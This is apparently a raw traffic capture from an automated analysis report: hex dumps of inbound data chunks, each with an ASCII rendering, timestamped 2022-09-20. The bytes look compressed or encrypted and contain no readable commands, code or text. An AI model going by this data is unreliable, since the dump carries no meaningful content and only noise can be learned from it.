6c dd 4a 81 11 78 f3 3a 16 1f 50 46 20 a9 79 38 b5 2a 9b 95 c9 46 36 98 0b ea c4 eb 5a 34 20 24 a8 33 af 7b 59 8b 75 35 
92 61 b9 8c 2d 4d 6a 23 28 fc 35 2d e5 ba 80 01 4e 4a ac c4 0c 07 74 6a 2a f5 57 3f 34 46 9e b3 01 5c 5b ee ca 2f 5f 86 
a4 65 8f f4 46 78 26 8a 1e 6a 65 84 fc 75 fe 68 7f ce 56 fd 40 4f 36 9a d1 c6 11 0e 88 7f ee 82 5c b5 70 09 6a 36 46 84 67 
f2 47 fb 51 63 54 a6 f6 85 5b ec 8d 4e 50 07 0c 5b 34 
Data Ascii: <MS^w.swxx1Xg.u_xuU:4(<PxGh4v%{Ml{.u"xR~@:<lJx:PF y8*F6Z4 $3{Yu5a-Mj#(5-NJtj*W?4F\[/_eFx
&jeuhV@O6\pj6FgGQcT[NP[4

2022-09-20 10:10:09 UTC 6075 IN Data Raw: 7d ff 93 27 a1 c7 cc 25 f4 19 10 79 dd 0a 8e 79 e3 a2 70 a3 2d 7d 83 d7 bd cd 1c b6 fc d4 59 c0 41 07 42 cd 
d6 2b 95 f6 8d 77 15 a8 5a 58 ea ca 02 3c 0c de a4 f8 69 4a 3f da 47 1e c3 d8 06 38 b2 9a 18 0b 86 90 07 7e be e5 25 c7 
81 b4 33 af f8 40 5d 78 af 53 84 52 c9 16 40 03 ce 9b 6e 38 04 14 f3 3f 25 67 17 30 db 61 26 1f 96 2a 88 c2 23 7e c7 43 
2e eb 11 97 5a 0f f7 54 24 7c 8b 0d db 52 c2 71 c5 cc 3a 81 af 07 3c 80 37 f9 df c4 ec 47 da 1b 92 cd f1 a5 f0 52 28 41 33 
bb 1a 30 26 5a a9 84 f1 f3 11 70 2b 7b 20 f2 91 9b 38 dd 13 a4 8d 0c 41 88 b2 7e d6 ce 55 f0 63 20 aa 8d 7b 6d 0c ef b8 
eb 33 e6 ba a2 3a ed 0c 9c 5e b0 b8 95 f1 3a c4 47 98 bc a5 82 55 7b 03 3d 87 dd 4e f1 3a 5f 8e 2d 96 2b f9 1d 8f 14 a6 
07 0a c3 bb f0 de 62 67 26 a0 00 0d 53 ff a6 2d 75 8b 
Data Ascii: }'%yyp-}YAB+wZX<iJ?G8~%3@]xSR@n8?%g0a&*#~C.ZT$|Rq:<7GR(A30&Zp+{ 8A~Uc {m3:^:GU{=N:_-
+bg&S-u

2022-09-20 10:10:09 UTC 6083 IN Data Raw: 18 88 5b 1f 88 74 70 67 16 6e b9 35 34 f6 7d 2c 9c c3 6d 26 65 e8 0c 96 9a 7d 17 b9 8e 87 db 93 6c b3 30 b4 
42 70 14 92 55 d6 59 05 8c 70 c2 fb 3d 01 3e fc f2 58 c9 62 ca 09 29 47 5d 25 e1 13 c5 fa f1 94 cd 63 4f dc 7b 27 9c 40 8f 
9b 3c 82 6d 89 75 83 b6 f0 ab 02 70 53 da 34 78 5d 7b 99 93 f4 64 14 7f 85 87 0c df 7e 52 15 cd 7e 81 02 94 71 b8 e4 f7 
9b 66 8b 6a 57 6a fc 80 03 34 35 3b a8 b2 e5 63 ad f8 7e 26 5c 93 f4 4d 33 c6 60 ac 4b a1 1c 4f 17 bc 66 3b 58 70 40 16 
3b 58 f0 2d 4f 69 66 18 82 2b 60 58 ba e0 a7 7a c2 4b c0 6c 25 a1 ab 39 ae 94 57 9d a7 81 67 95 c6 70 36 f7 3d c0 e0 87 
c0 2b f7 e3 d2 a4 e4 a4 c5 1f c5 23 18 eb a2 c9 ad dc 57 f3 d8 80 7e 9d 2e 58 44 41 aa ed d3 30 f6 53 c8 27 b3 fa 58 2e 
55 49 8c 89 20 e1 02 8f f0 e4 b4 a2 eb 92 66 86 c6 a6 
Data Ascii: [tpgn54},m&e}l0BpUYp=>Xb)G]%cO{'@<mupS4x]{d~R~qfjWj45;c~&\M3`KOf;Xp@;X-Oif+`XzKl%9Wgp6=+
#W~.XDA0S'X.UI f

2022-09-20 10:10:09 UTC 6091 IN Data Raw: 48 13 4b 61 9c 21 35 2f 83 36 41 da 0a a9 08 d2 b0 72 28 03 a9 02 52 e8 0b b8 0f a9 08 52 f7 0a e8 1f a4 74 
48 ee 2f a1 5e 48 fb 21 f9 8b 30 66 90 92 20 b9 52 b8 0f 69 3d a4 ab 90 94 24 96 4c 83 b4 07 52 05 a4 50 2e 96 6c 85 e4 
ee 10 4b 62 20 ed 87 44 1c e1 3e a4 04 48 66 48 e3 15 50 06 52 73 a7 58 a2 83 94 0e c9 df 39 96 cc 85 54 00 c9 c7 25 
96 24 42 ca 81 d4 dd 35 96 6c 84 74 1b 92 9f 1b d4 09 29 07 92 77 2d 78 17 d2 69 48 9e b5 63 49 1c a4 e3 90 7c dc 63 
c9 4a 48 17 20 05 d7 89 25 3b 20 35 af 1b 4b 26 42 da 0a a9 08 52 14 1f 4b 36 41 52 78 c4 b2 39 82 34 f5 cf cf 62 c9 f6 
79 b1 7f 9b 3f 4c 36 e1 64 3a 13 07 29 98 30 bf 80 9a 76 f1 9a 74 fb bf fa fb 9f ec ec f8 fd 8d 76 fa b1 6d bd d4 f6 57 01 cf 
6a ae 85 ce 49 ae ea c7 02 b8 5e 06 69 0d a4 5d 90 4e 43 
Data Ascii: HKa!5/6Ar(RRtH/^H!0f Ri=$LRP.lKb D>HfHPRsX9T%$B5lt)w-xiHcI|cJH %; 5K&BRK6ARx94by?L6d:)0v
tvmWjI^i]NC

2022-09-20 10:10:09 UTC 6098 IN Data Raw: c4 1f e2 c2 af f6 90 fd 0b db 73 fd 37 d7 23 65 2f fe e2 3a 76 bb 45 6e fe e0 47 1a df 9f 4e de 5a b7 8a 1b eb 74 
9f 5c d9 37 45 0c f1 1a 44 7c 9e 67 d1 6b f3 be 26 3f a9 5a 92 a1 8b 82 48 ff f6 ef 73 77 9c 0f 93 cf ae 7d 4b bb c5 f6 a1 
67 be 3a 48 6e b5 5e 47 c5 dd c5 dc ad df 6f 91 36 53 36 8b bb 3b bd 47 a6 7c 30 98 3b f0 78 3e 3d 50 b7 17 51 72 27 49 
9d 3f 7e a4 25 b5 75 e4 87 bb d1 5c 5f ee 00 bd d0 e5 27 ce f8 45 30 fd ee c9 15 d2 70 cb 22 72 d1 30 9f 0b 19 30 92 9c 
fa ee 0f ee ab e8 4e 64 fd 0c 27 da c1 f1 11 cd a5 e5 74 77 9f 01 74 e0 f3 41 5c f9 ce fa b4 4d c0 2d 5a fc c6 0b fa 4d 5b 7f 
6e d1 b7 bd e8 14 e5 60 3a e1 fe d7 24 e1 d0 5c 3a 73 d9 af b4 c1 c5 5c 31 67 5c 16 ad 70 ea 45 c6 39 9e 24 8e 4d f7 d1 
e0 63 9d 68 cb c6 0d 49 bc 71 10 9d 34 d7 
Data Ascii: s7#e/:vEnGNZt\7ED|gk&?ZHsw}Kg:Hn^Go6S6;G|0;x>=PQr'I?~%u\_'E0p"r00Nd'twtA\M-ZM[n`:$\:s\1g
\pE9$MchIq4

2022-09-20 10:10:09 UTC 6106 IN Data Raw: db fb 13 4e 8a de 8a 7f e5 af 8a 93 2e 25 c2 b8 5b 3d 61 ea e1 59 78 fe d4 44 ae e0 a6 2b f0 97 a2 2d 62 a5 
4d 90 72 6b 3e 77 f8 56 17 6c 94 7d 3b fe 1d d2 1a 7d 96 cf 80 09 a5 7b 63 ad 77 1b f8 a2 a1 23 a0 ea 98 9d fc 8f d3 d9 
f0 b0 75 38 57 7d d5 03 9c 9d b8 03 a6 7f 5b 0a 7e c3 4b c0 f4 3f 9a c0 e4 03 dd f9 29 73 b3 e1 cb f1 27 a1 df 1f 23 b1 dd 
8c 03 7c 8e d0 a5 f0 fd cf c5 f8 2a 22 00 4b d6 af 89 55 6e 76 81 17 5b f2 e2 c9 e3 67 a1 48 d5 8f 7c b9 a6 8f 60 b8 a1 2c 
b7 c1 0a 60 4f b6 71 43 b2 7f c7 89 03 e7 73 fa 90 b1 10 e5 76 17 5f de bd 8f c7 2f 0e e4 17 f4 d6 e2 b6 d4 a7 a0 34 3c 
82 86 39 6b e1 90 11 03 60 d5 ed 86 fc 9a 39 3b e1 e1 ad bb fc db 6b 61 b0 35 7f 0a 17 b5 a0 16 58 7a 17 85 05 09 ad 
d1 fb 55 1c 3f 7b f8 25 30 e1 52 be ea fe 8b 30 a1 4a 
Data Ascii: N.%[=aYxD+-bMrk>wVl};}{cw#u8W}[~K?)s'#|*"KUnv[gH|`,`OqCsv_/4<9k`9;ka5XzU?{%0R0J

2022-09-20 10:10:09 UTC 6114 IN Data Raw: 57 8b 9b 09 f9 af 04 f2 97 f3 74 c2 c3 07 cc fc e4 2a 87 a0 f2 f7 9e 7c f7 e5 2d 48 5f fe c4 53 cd e2 61 e1 9a fd 
e0 c9 bd 86 9e db d7 f2 f9 62 9b e3 8b 3e 6f f0 f1 a4 9d 78 b8 eb 6d 38 5e de 03 4e 1f ce 07 c5 ee 74 c5 35 b3 f7 c3 a7 d3 
fd 20 68 eb 7b 3e cb ca 56 d0 da 3a 17 02 1a 28 b1 c8 28 0b 0c 6f 7c 02 ee 79 4d e6 ae 3e 6a 08 3f ce 94 81 f7 05 fe c2 
ec 05 92 f9 82 d3 4e e3 b6 e2 3e d8 c6 7c 0a 9b f5 b8 c4 d5 9f 54 1d 7f bb 53 84 bf 57 22 08 f3 e3 45 5e 99 f3 04 b6 3d 
30 9d 3f 1b 75 09 3f 7c fe 84 03 3e 37 82 3b 9f da 42 87 9e 8d e0 c2 87 4e 90 6f e8 5d f0 da 94 8d eb b4 50 8f d9 cb 0d e5
1f af 0f c4 87 53 4b 62 61 ef b9 70 5f 1b c8 db de 7d c3 16 cd 3a 71 ad ae 4d c6 e6 0b 79 7e ec 85 8f f0 d8 6d 06 af f1 d4 
c2 11 37 1f ee fc fb da b0 7a e5 16 fc d2 
Data Ascii: Wt*|-H_Sab>oxm8^Nt5 h{>V:((o|yM>j?N>|TSW"E^=0?u?|>7;BNo]PSKbap_}:qMy~m7z

2022-09-20 10:10:09 UTC 6122 IN Data Raw: 53 40 8b aa 4a 8a 24 b3 19 a7 89 4b 24 ab 53 44 48 c5 af 38 9d c5 e6 fa a1 b2 25 99 1d 01 64 7f e8 8c 56 59 
72 29 80 a5 b2 1b c9 de d5 c7 eb 5d 52 66 14 c8 52 93 3f 59 5c 92 3e ce 62 22 07 45 9c 2c eb bf c4 cb 5b 96 61 f6 9f 44 
66 98 d7 9a 3e 24 e3 74 2a a3 2e 25 e3 50 79 7a 1a 68 d1 9b c9 fe b4 66 10 94 49 4a 79 d1 69 82 33 cb 41 82 e5 51 ba 
9e 36 8b 86 51 52 69 03 32 4c 25 af d0 25 30 e3 d4 52 65 02 5d 23 90 1f ec db a2 14 83 c4 17 71 45 98 35 16 ab 8e 82 
4d d6 e4 74 01 2c 55 b2 af b8 0a 95 c9 26 72 e0 a6 fd 66 69 c8 f6 52 92 73 96 42 42 65 37 93 9d 12 3f e0 a5 d5 25 7b 59 
2d e4 3c 33 25 09 1f 76 f9 87 f4 ae b3 c5 79 25 9a ac 64 5d 7b 51 b0 ea 45 4e 6a 36 3c 46 9d 2d c5 64 e9 2e 56 15 6b d1 
6b 13 48 e5 19 86 b2 26 10 fa c8 42 60 b7 56 69 21 a8 22 39 a4 
Data Ascii: S@J$K$SDH8%dVYr)]RfR?Y\>b"E,[aDf>$t*.%PyzhfIJyi3AQ6QRi2L%%0Re]#qE5Mt,U&rfiRsBBe7?%{Y-<3%
vy%d]{QENj6<F-d.VkkH&B`Vi!"9

2022-09-20 10:10:09 UTC 6130 IN Data Raw: 99 c1 02 1a 82 55 25 03 39 1e a9 52 b9 d9 42 7d 5e 48 7c 3d 87 67 5d 41 66 44 d9 75 3a c9 07 b4 43 3d 05 
e4 72 3f b9 b4 4f 2e e3 13 18 7d 4a c6 f8 06 a6 1c a5 14 76 38 e3 4e 5a 5d bc 6e 8a ca bb 0e 0f 9b d6 44 42 78 68 95 d4 
43 af d2 69 e2 ac 73 09 a7 22 33 8a 1f ca 93 8a d7 84 28 93 a9 20 d5 35 b5 80 5e 89 31 a2 8c 13 64 82 37 a5 20 93 54 
3a 59 98 f2 48 46 3f b8 c4 09 1c cf 8c 72 89 31 69 b3 90 49 a7 ba e9 4a 99 b6 86 63 94 69 9c 44 e0 32 65 7f 29 b1 73 c8 
a5 10 41 c3 45 28 4e 1a 36 79 0e 82 95 58 ad cc cb 6b fa 0a a5 aa a4 83 48 54 e2 15 ca 22 78 7c 9c 0e a8 c3 c9 b8 54 a
5 98 57 14 d4 4a ed a4 7e 66 a8 76 98 f3 db a9 11 4d 1d 56 99 08 68 62 0b 46 04 46 69 63 9d 4e 04 94 f1 26 aa 03 0d 8e 
9b 15 94 a2 1c 5c 96 c4 29 4b cb 9d 51 20 40 c6 36 03 46 ab c3 58 
Data Ascii: U%9RB}^H|=g]AfDu:C=r?O.}Jv8NZ]nDBxhCis"3( 5^1d7 T:YHF?r1iIJciD2e)sAE(N6yXkHT"x|TWJ~fvMVh
bFFicN&\)KQ @6FX

Timestamp
kBytes
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2022-09-20 10:10:09 UTC 6137 IN Data Raw: 69 c1 06 92 e6 2a 1c 6b 91 a5 11 d7 23 29 84 2d e6 40 da 19 00 a1 0d 62 0b 5c ea 4f 57 a5 54 a1 58 1d 6d 82 
b3 06 a9 54 9f ff 76 99 8e 2e f8 66 58 bc 6b d9 42 ae 0c 13 ba 59 03 01 3c a9 06 94 96 fd 47 d5 7c 14 54 6f 9a 89 6e c9 
2c b3 d5 23 0a 19 5c ef 81 ab a7 f0 f1 a7 3c a5 70 c9 ea 9f 1d 8f 19 2c 7a 66 b0 c4 90 15 ba 88 25 9c f1 5f 56 5b 05 77 49 
7f 47 76 9d a4 13 4f d6 50 97 0e 4e 67 a1 ae 75 b9 c9 fc 6a 39 dd e4 57 70 67 a9 64 05 d2 10 76 b3 ac 33 a8 86 ca 47 
e5 af f2 f6 67 2f b5 55 be 4a 8d c1 9c a8 11 bf bc c5 2f f8 d9 9a f4 16 e7 cf db 31 7f be 19 2c 42 3f d9 22 4c b3 04 a5 85 e7 
c3 6a ad a9 f2 ff af d7 f7 1f d7 e6 a7 f2 ae ed 58 9b de 62 6d ff 33 75 c9 6a a2 72 13 f1 22 65 2a af 14 25 bb b4 5e d1 03 
94 70 a2 0b f0 55 92 2f 0b da f4 a2 4c 3d c3 30 
Data Ascii: i*k#)-@b\OWTXmTv.fXkBY<G|Ton,#\<p,zf%_V[wIGvOPNguj9Wpgdv3Gg/UJ/1,B?"LjXbm3ujr"e*%^pU/L=0

2022-09-20 10:10:09 UTC 6145 IN Data Raw: 5d 3d 40 39 23 bc 35 b8 b0 c0 3d 46 82 24 b8 1e ac ef d0 fa 88 b2 92 30 73 d5 12 95 45 ee 2c 21 94 b9 2f c0 
6a ec dc 1f 79 1d 82 64 f2 de 36 7f e5 b6 30 44 57 de 72 48 27 d2 1a b4 b8 50 4c 12 1f 4f 9c 3d ab 0a c8 f9 41 26 aa 23 
c2 05 2b 69 d2 74 27 03 ad ec a9 a6 aa 94 53 55 ae 5f 3f 1b b8 a0 1d 37 e1 ec 9c a2 15 1c e2 a6 cb b8 8a cd c8 f3 98 4a 
12 0b 21 0e ed f5 7d 8a d8 d1 4d fc 4c d3 59 e5 fa c8 f0 0d cd 63 a4 a2 34 bb b6 4a cc 9a 35 4b 88 ce 02 9a cd b5 8d 6f 
e9 a6 92 94 19 23 42 ef 2a 91 bb cb d0 0d 61 ad 15 18 91 25 c3 e9 da b2 9f 96 d7 20 52 48 18 f3 3b 7b 7a 3b 9a 17 86 
67 88 85 e1 de f9 9d ad 33 a4 05 2e 79 dc ce a4 bd 32 fc b8 4f 3b 0b 9f 04 3f d4 18 6c bc be c4 13 71 c7 dc 24 87 1d 6f 
a9 0d 12 42 55 94 49 d3 2b 2b e1 c2 56 d4 8d a3 42 23 11 b3 
Data Ascii: ]=@9#5=F$0sE,!/jyd60DWrH'PLO=A&#+it'SU_?7J!}MLYc4J5Ko#B*a% RH;{z;g3.y2O;?lq$oBUI++VB#

2022-09-20 10:10:09 UTC 6153 IN Data Raw: 25 83 41 36 6e df 4f 86 6c 07 8c 14 a2 7b 0e 90 51 ef 38 5d 7e 21 b5 5f 88 a1 68 53 95 90 d9 30 98 8c 63 bc 
4c 08 a3 8b 2f 0c 28 34 63 29 b8 f8 e5 3d 6a 54 30 c1 1d 97 ca 9d a4 4a ea 5f 76 a6 c6 e9 78 5f c8 a3 89 be 10 8e 12 14 
03 4e e7 43 c4 6c d5 9b 29 d2 b3 a8 a5 25 1c 6e 0d b7 ba 1b ac 8b 47 25 01 16 d8 c6 77 ec 21 0a ed 83 d8 a8 21 ad ff 
49 8a c8 32 cd 94 15 d1 eb 27 fd e5 b8 60 78 4b 57 37 0b e2 81 a3 fc 90 a3 59 a0 69 28 28 f9 f6 8c ca 42 8f cc e9 8d 05 
3f 7f d4 f8 98 79 2e 15 91 2d ed 2e a2 bb 8e d4 87 7e 75 1c cd 5f 4e 74 0d 01 3c 3f aa fa d0 d8 d6 2f 20 bd e2 29 33 62 c2 
79 2a 02 5d 16 91 c6 ec 94 3b df 82 ba 7d f4 6d 8f 42 e1 71 18 92 a4 7f 94 66 13 8e 1a 4d cb a9 27 dc d1 ba 30 6c 0c d5 
d1 82 6e 2b 00 66 9c 2b da 10 45 c1 b0 9a 8d 6b ca dd 50 
Data Ascii: %A6nOl{Q8]~!_hS0cL/(4c)=jT0J_vx_NCl)%nG%w!!I2'`xKW7Yi((B?y.-.~u_Nt<?/ )3by*];}mBqfM'0ln+f+EkP

2022-09-20 10:10:09 UTC 6161 IN Data Raw: f9 b9 29 ab d4 43 11 1e 9d fc ad 4e 07 ca 5f 52 4f 1c c4 ed 46 c2 d0 52 f9 da 1b de d7 8f b3 97 49 49 37 94 0a 
e4 02 f9 7f f3 6c 73 97 d9 ed 56 ea e7 96 79 d6 24 7b 3c 1d e7 e6 83 16 79 97 fc 65 f3 f6 c0 75 18 3f 0a d7 0c 46 12 59 
70 2b 2a 87 1c f1 f2 cc 59 ee 97 e5 49 4f ca 45 6c 41 c5 31 1f 33 16 0b e4 63 89 9f 55 78 6c 88 22 a8 ad c3 18 04 02 47 
d9 a6 2a 55 0a 82 32 f8 99 7b de 5b f9 78 a6 a0 9b 52 2d f6 87 0e ff cf fd c9 2c ba ed 3b 76 3f b5 28 3b 98 1f 6e 7f b4 9c 
46 e6 5c e4 7e 55 dc 7e 05 47 e6 25 88 2d 87 41 5a 25 d8 2f 99 07 92 02 e0 e3 f9 38 a8 36 41 be 85 d5 4c fd 18 f1 02 ec 
52 f1 04 5e 45 67 c8 66 fa 34 72 b2 9c 93 a4 ba 3a 71 ee 90 e9 c6 d2 b6 66 54 2e 31 0f 43 95 37 b4 d6 b1 47 60 63 89 54 
ab a8 13 0e ea 3a d7 a1 e2 47 af 92 28 81 29 a1 35 
Data Ascii: )CN_ROFRII7lsVy${<yeu?FYp+*YIOElA13cUxl"G*U2{[xR-,;v?(;nF\~U~G%-AZ%/86ALR^Egf4r:qfT.1C7G
`cT:G()5

2022-09-20 10:10:09 UTC 6169 IN Data Raw: 5d 15 1a d6 06 3b c5 89 86 74 15 7c 81 86 9b 0b ba 28 57 3c 2f ac 84 aa 4b 9b 6e 39 e1 09 97 eb 8f d5 4f 9a 
84 72 13 6e 77 b6 25 5d b2 1d 0a f9 04 49 0f 98 a9 a2 55 d0 3a b0 6c 93 60 9c e1 44 d6 14 1b 56 ed 25 9e 0e ec 25 8e 
83 67 2e 3c 6b c0 73 f7 f8 bd 44 1e 9e 6a fc 3b 88 3d 96 45 81 57 2a 11 99 aa a1 0b c0 1a 73 75 be 26 26 fd 90 3d 6b 94 
08 2b 18 79 00 65 61 ed 9a e0 31 a2 26 9e c0 ca 40 54 f4 62 00 51 0b 8f 00 39 07 1b 0f f1 43 33 16 b7 76 9d 48 a8 2f 12 
84 b3 bf 48 a0 90 25 64 ed 1c e2 09 d8 e6 81 82 b4 5f 22 08 69 cc e2 44 b8 ce 40 0a f1 e0 cc 74 84 84 c0 d8 7c 73 9c 8d 
38 e3 bf 29 44 5e 8c a6 d3 66 d2 27 20 78 a6 ac 01 db 03 de 95 33 2a 1e 61 4f 98 28 91 80 1f 9e b4 94 97 fc c6 c1 b5 37 
26 1b 67 c6 75 25 1c 7c 89 c4 43 90 ac 4c 9a 00 1e 64 66 d3 
Data Ascii: ];t|(W</Kn9Ornw%]IU:l`DV%%g.<ksDj;=EW*su&&=k+yea1&@TbQ9C3vH/H%d_"iD@t|s8)D^f' x3*aO(7&gu
%|CLdf

2022-09-20 10:10:09 UTC 6176 IN Data Raw: 0c ef be 92 26 1f 6a 61 e2 db bb a9 6b 50 f0 25 b6 da 2d 2a 02 9c 2f 5a 49 b1 46 aa b4 6f f7 d8 c4 fd 79 2c 43 
d3 15 4e ab 9d 8f 7b d9 61 a9 55 14 af 0e ea 6a eb 27 d1 98 19 53 7d f5 cc 28 35 43 b8 47 33 ef f4 a3 bb 39 bb fd d8 dc 
1d 4a c0 ed ce 3b c9 e8 6e fa aa ed 4d 43 5f bd cb ff 3c 65 cd 25 06 06 4c be 18 e5 c6 b2 69 05 ab 28 2c cd 72 a2 37 8b 
d3 71 f9 ad e1 9f 97 0c 93 c9 fe 27 7e 3f 95 3e d2 e3 e6 11 fd d1 d9 c2 ff eb f8 ee 30 2c 05 c2 0b c6 4f f2 4b 9a d1 34 de 
28 f0 dc 2e f2 d7 a9 c3 78 06 6d 85 15 f9 db d4 5f 09 7f d8 4c 78 35 fb 4f fc 9d db 37 55 c2 d1 fc 8b eb c0 3e 92 42 b5 c7 
d8 d8 db ff a7 c7 b7 f7 ef 42 9f 55 50 7f 80 10 49 24 d1 2a 1a fd a5 cd 17 8e a9 b8 ac d1 27 42 53 4b 4e 63 26 27 45 94 fc 
bd 78 5d 6d ce 1b d0 77 16 1b 00 63 9e 91 12 
Data Ascii: &jakP%-*/ZIFoy,CN{aUj'S}(5CG39J;nMC_<e%Li(,r7q'~?>0,OK4(.xm_Lx5O7U>BBUPI$*'BSKNc&'Ex]mwc

2022-09-20 10:10:09 UTC 6184 IN Data Raw: e3 a1 ad af e6 1e f8 7a da 3d c1 c0 23 bb 3c fc 54 e4 87 ad af 2e dc ff e3 b5 87 ff fb aa b7 77 ff e0 f1 ec 7a df 
df 72 4b f8 ec 97 a3 4f ed 3e d2 b4 c3 df 8e d8 e0 57 c7 cc 9c 59 bb dd 06 b5 ef ef bc 61 57 f3 f7 f1 7f ec 79 ee 3b ef bf fa 
b3 49 d7 5d 71 ee 96 e7 4e 3c 60 ca e9 f7 5c 75 d0 b2 d3 4e dc e1 6f 17 ce 3e eb e8 c1 49 2f 6e f1 b3 b7 0f da e0 87 6b 
f6 3a e7 99 aa ed de 7a f3 ed ef 52 97 fe f8 f7 cb ab 4f 5f ff f1 87 3a fe 3e b9 7a 7c c5 23 e6 eb a7 d5 3d f9 f5 31 13 df bf 
eb fe ca 8b 16 37 6c b6 f0 97 3f ec 18 9a 71 d5 76 6b e7 de 39 f7 c6 71 87 ff 7b d7 3f 7e 7d fe cc 63 1b f7 d9 7f eb 79 5d 
97 ed 7a ff df de 3d 69 f7 dd 23 bf 9d 3f 63 d1 5f f6 18 8a 3f b1 cd 3f b7 bc f6 fb f4 d9 af 5f b0 e6 9c e6 b6 cb 26 dd fb e4 
16 77 1c f4 c5 3d 47 dd 11 df 
Data Ascii: z=#<T.wzrKO>WYaWy;I]qN<`\uNo>I/nk:zRO_:>z|#=17l?qvk9q{?~}cy]z=i#?c_??_&w=G

2022-09-20 10:10:09 UTC 6192 IN Data Raw: 17 9a aa a5 8c 6b 9b 37 e7 dc bf a5 53 17 64 6a ba 5f 7a 6f 63 9b d4 cd d2 ed 1b 62 ad 3a 3e 2d aa 5a 42 0f 
b5 fb 72 4a 5f 2c 60 49 d9 84 95 b7 e3 e3 34 f4 66 de 93 bf 3a ce 2d f4 cc d9 75 2a d7 a5 af de 96 d9 f5 2e 7f c7 a2 33 7b 
6f d4 e8 14 9d 79 40 79 7b a3 b6 e1 7a 64 e8 a7 ef 0e 7a cf cf 99 8d 24 45 26 dc d6 28 d4 7b 33 e8 e4 25 67 23 af 96 c9 
8d dd ef df 0f 25 27 98 6f e2 af 7d b6 77 2a 21 91 72 72 9d c7 a8 19 eb 07 29 c4 57 4e 1c 16 f7 e6 5d bc f1 f7 8e 80 73 b6 
ac bb 35 2a 73 f4 9b df d7 0f 72 9d da e4 e6 9d ac 2b 15 5a fd 7c 4a cc bb 59 0d 94 f5 91 bb e7 4c be ec b3 e1 a9 de 8b 
d0 f7 a4 66 1f c2 e7 a3 9d 06 12 5f 49 ba 7e a4 f4 03 af 8c ec 6d 15 aa 8c c8 f4 ca 88 11 8b f9 c6 53 93 f2 8c ed ec e8 aa 
23 d3 cf 29 7e 65 6b f0 47 94 eb cf b2 f8 e2 90 
Data Ascii: k7Sdj_zocb:>-ZBrJ_,`I4f:-u*.3{oy@y{zdz$E&({3%g#%'o}w*!rr)WN]s5*sr+Z|JYLf_I~mS#)~ekG

2022-09-20 10:10:09 UTC 6200 IN Data Raw: f4 ee d6 15 f3 b6 51 df 75 1f f9 b0 be ea 94 fc fd 02 4d 5e 87 d8 13 bb f9 b5 99 67 4c 3c 27 78 35 e4 27 16 98 
4c be fa dd 55 ed 76 cb a5 c8 e5 e7 b5 4f 95 8d 56 d6 e2 66 c5 5b c7 ed e0 4f b6 52 20 a5 bd 7d be fb 7b 89 d1 26 da d6 
6b bb 1e 4e f5 7f 75 c3 a7 ec cc 24 95 13 11 c3 3d ce 8c 92 ad da 50 9d b4 c3 a2 d8 6a f4 c7 a9 9b d7 5e ba 73 7f f5 a9 0f 
af 76 ee c9 cc ca ed 3a b6 39 33 e5 de 91 f3 41 ca 43 6f 15 6e 1c ae c6 65 95 aa 44 85 1f fa a1 16 55 4d 9c 38 31 6e 5e 
d6 22 4a c4 70 fb 2d ec 5a 38 26 ef 42 dd 60 f3 11 c7 ae d7 66 15 57 14 df 5a 4b f8 64 a6 30 e9 c9 e4 72 86 c5 71 d7 1d 
9b 6f 6a af d9 48 23 9d 7f 0a 5d 3b 7f c4 e4 b5 c1 cc c5 84 a0 42 d9 cb 37 6e 3f ce 68 75 35 6d d9 f1 46 dc 31 cb ea 8c cd 
96 82 00 15 a3 b8 e1 56 9a 16 9f ef 46 54 9e 7a 
Data Ascii: QuM^gL<'x5'LUvOVf[OR }{&kNu$=Pj^sv:93AConeDUM81n^"Jp-Z8&B`fWZKd0rqojH#];B7n?hu5mF1VFTz

2022-09-20 10:10:09 UTC 6208 IN Data Raw: 9a 6c 9c 06 4f bd b3 9f d8 34 f9 3a c4 3e fe 04 7a b1 67 0c 94 34 74 23 41 36 7b 11 fc fd 87 39 3c 3b 49 1c 9a 
37 64 04 e1 f4 12 37 d8 84 70 92 10 fe 5e 0f 8e 9f 6b 47 24 8d 4d 86 f2 14 be 11 d9 43 a6 41 dd 4b 33 e1 c7 87 e4 e0 79 
13 e5 09 8a 62 a3 a0 ea f3 73 e1 b9 6a e9 50 c1 1d 79 e2 1d 87 51 50 56 b0 1b 71 f0 84 f7 70 fd f4 66 a2 96 71 30 14 bf 
ab 09 d2 ca a3 42 52 8a 11 f0 92 f3 0f 20 f9 ef 24 62 ee 48 0b 48 7c 4f 32 f1 b2 63 1a 4c 79 b4 9c 18 59 f8 18 b6 1a ee 09 
bb 6c ff 06 d5 1a 5f 85 f6 ce b8 0a 57 9c e6 c3 7b 25 77 c2 72 8f 2b 88 23 5c d4 e1 02 84 b7 c4 ef 2d 85 53 8e 6f 26 de 90 
6b 82 15 f7 8c 82 4f 6c de 03 d5 88 af 23 e4 77 ba c0 2f ef e6 c1 ee 23 36 c3 21 7b 2f 10 7f 26 5f 81 cf ac ab 83 2e 7f 97 
86 8c ea 13 a1 0f d3 b5 e0 43 62 dd 44 9f 02 
Data Ascii: lO4:>zg4t#A6{9<;I7d7p^kG$MCAK3ybsjPyQPVqpfq0BR $bHH|O2cLyYl_W{%wr+#\-So&kOl#w/#6!{/&_.CbD

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:09 UTC 6216 IN Data Raw: 74 74 80 7a 04 17 40 50 d6 a3 23 50 cd e2 9b 5b 90 1a d0 59 01 13 28 64 dc 8b e4 c7 8a 22 fd 1e 8c c8 b4 80 
42 64 b2 7a d6 9d f8 d2 10 03 dc 47 1f 08 38 72 4f 84 b0 71 94 c4 fe db 22 44 c6 80 8d 02 3a 49 6d 3c 0b 6e 3e 82 c6 63 
81 3a fa 24 57 2f 67 5f 5f 77 1f 4a 50 b0 73 b0 3b c5 d5 c7 2f c8 db d7 53 07 ad cc 3f cd e8 ee 86 e7 fb fb 6c ee 81 81 7e 
81 3a 40 15 0a a9 81 c5 1e 86 1f a1 32 14 eb 5c 01 f6 f0 58 1d d4 76 81 4e eb d5 ab 7d 7b 85 27 82 74 60 2c f4 a7 ce 06 
38 4e 62 a5 fc 01 2a aa 19 fa 87 70 83 39 e9 a0 db 90 0a 71 d0 12 06 2c a0 77 ee 5f cb c3 d4 71 31 82 ad 0a 30 27 93 a8 
cc 74 81 6a 96 ca 23 09 95 0f 9c 94 7e 86 05 a0 ac 5f c7 8a 9a b6 1a da 3b 50 5f 05 46 38 50 a3 71 e8 89 54 f4 a4 36 32 
b9 a5 d0 91 89 05 35 9c c3 e7 39 74 af 05 e1 c3 d8 5c 
Data Ascii: ttz@P#P[Y(d"BdzG8rOq"D:Im<n>c:$W/g__wJPs;/S?l~:@2\XvN}{'t`,8Nb*p9q,w_q10'tj#~_;P_F8PqT6259t\

